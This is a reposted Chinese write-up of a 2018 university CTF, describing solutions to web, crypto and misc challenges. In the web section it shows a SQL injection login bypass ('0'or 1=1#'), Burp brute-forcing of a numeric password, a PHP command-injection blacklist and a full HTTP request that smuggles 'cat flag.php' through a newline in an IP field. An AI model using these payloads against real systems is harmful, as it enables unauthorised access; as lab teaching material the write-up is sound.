【东大欢乐赛】web部分

转载

weixin_33800463 于 2018-10-09 16:02:00 发布 36 收藏
原文链接：https://yq.aliyun.com/articles/657588

参考：
官方writeup

Web

seu_wlan level_1

模拟手机访问：
没有想到要修改请求头中的User-Agent呢~呜呜。
关于手机的User-Agent可以查看这里,用burp修改就可以了呀~

huaji

查看源代码，最后看到表情符，想到是aadecode.解码可得
解码网站在这里~

seu_wlan level_2

误打误撞...
之前还在纠结
_POST[password]);
这条语句，做出来了过后发现原来只要截断就可以了..嗯..
提示welcome.txt的源码在welcome.txt里，于是查看，其中，提示为sql注入：
user' and pw='$pass'";
于是POST： username=0'or 1=1#
其中单引号闭合前面的单引号，a or b ，则a 或者b其中一个正确则式子正确，1=1为永真式。最后的#的注释，截断后面的sql语句。

seu_wlan crack

提示为burp爆破， send to inturder, payload type设置为number . from 0 to 9999 ,step =1,min integer digits=4,就可以遍历190000-199999的密码了。

execute the command you want to get flag

```
黑名单
$substitutions = array(
        '&'  => '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
```

但是我们可以发现并没有过滤\n（换行符），因此可以使用换行符绕过。%0a是urlencode后的换行符。啊哦，这里使用burp的repeater发送数据包。

```
POST /exec.php HTTP/1.1
Host: 69.171.76.88:30004
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101
Firefox/57.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://69.171.76.88:30004/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 27
Connection: close
Pragma: no-cache
Cache-Control: no-cache

ip=127.0.0.1%0acat flag.php
```

---

crypto

参考:CTF中那些脑洞大开的编码和加密

这不是凯撒

```
gmbh|E1`z1v`lo1x`btd22~
```

问了问小伙伴，才知道这是移位密码~

> 与凯撒密码类似，区别在于移位密码不仅会处理字母，还会处理数字和特殊字符，常用 ASCII 码表进行移位。其破解方法也是遍历所有的可能性来得到可能的结果。

解码地址在这里

base1

是在这里解码（base64）的哦~

base2

base家族编码：

```
@iH<,{pv,9Qs^m9j9GH<f,@GBW
```

嗯，猜不到是什么，最后问了小伙伴是base91。其实在这个网址搜索base

也可以找到的呢

areyouok

ook是开玩笑的编程语言。在这里解码

中国人的价值观

核心价值观解码工具

Misc

Crack Zip
利用工具 azpr破解zip的弱密码